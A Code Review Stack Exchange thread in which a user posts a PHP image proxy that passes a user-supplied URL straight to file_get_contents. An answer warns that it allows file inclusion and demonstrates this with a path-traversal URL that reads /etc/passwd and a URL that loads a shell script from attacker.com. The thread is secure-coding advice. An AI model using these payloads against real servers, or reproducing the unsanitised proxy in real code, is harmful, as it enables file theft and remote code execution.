Code Review Stack Exchange is a question and answer site for peer programmer code reviews. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I would like to get images from other websites.

This is my current method but I'm not sure if it is alright.

<?php
  header('Content-Type: '.image_type_to_mime_type(exif_imagetype($_GET['url'])));
  echo(file_get_contents($_GET['url']));
?>

If not, how should I do it?

share|improve this question
    
What is this code supposed to do? Why don't you use the URL o the image directly? – A.L yesterday
    
Because of the Same-origin policy – Halasi Tomi 15 hours ago
    
To my knowledge, the Same-origin policy applies to Javascript, not to images. – A.L 13 hours ago
    
Yep, but I you use JS for sourcing (I think I need to, the user gives the source), so (I guess) it need to be on the same origin. – Halasi Tomi 13 hours ago
    
Then maybe you should update the title of your question (it only mention images at this moment). – A.L 4 hours ago

Your code is vulnerable to LFI and RFI.

http://localhost/yourscript.php?url=../../../../../../etc/passwd

This would load the local file /etc/passwd and display it.

http://localhost/yourscript.php?url=http://attacker.com/shell.php?x=ls

This would load and execute the remote file shell.php, which means that an attacker gained code execution on your server.

For better solutions, see eg here. When outputting images, you should use the image output functions such as imagejpeg, not generic file loading functions.

share|improve this answer
1  
+and checking the mime type – Halasi Tomi yesterday
2  
Local File Injection and Remote File Injection. It basically means that anyone can "inject" (load) remote or local files (files from your server) into your script. – Oldskool yesterday
1  
@HalasiTomi local file inclusion and remote file inclusion. My first example is an example of LFI, my second one of RFI. And no, only allowing absolute URLs will not help against RFI (if done correctly, it may help against LFI). – tim yesterday
1  
@HalasiTomi Mime type checking is difficult. I would not use it as your only line of defense. – tim yesterday
1  
@arxanas I'm now a bit unsure about this myself, so I created a question on security.SE about this. It always worked for me, but it might depend on some specific settings. – tim yesterday

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.